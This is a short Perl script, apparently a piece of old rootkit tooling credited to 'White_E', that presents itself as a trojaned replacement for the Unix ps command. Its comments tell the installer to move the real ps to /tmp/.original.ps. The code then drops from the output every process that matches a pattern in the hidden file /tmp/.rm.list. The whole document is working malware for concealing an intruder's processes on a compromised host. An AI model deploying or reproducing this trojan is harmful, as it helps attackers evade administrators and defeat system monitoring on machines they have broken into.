#!/usr/bin/perl

# ---- xps.pl
# trojaned ps to hide processes specified in $suppress.
# move the real 'ps' to $original path and set xps.pl
# where the real 'ps' was.
# 
# 					White_E <white_e@iname.com>
# 					http://ttj.virtualave.net/

$suppress = "/tmp/.rm.list";
$original = "/tmp/.original.ps";
$|=1;
if (!open(F,$suppress)) {
  system("$original @ARGV");
  exit;
}
@hide=<F>; close(F);
@ps=readpipe("$original @ARGV");
foreach $line (@ps) {
  $flag=1;
  foreach (@hide) {
    chomp($_);
    if ($line =~ m/$_/) { $flag=0; last; }
  }
  print $line if ($flag);
}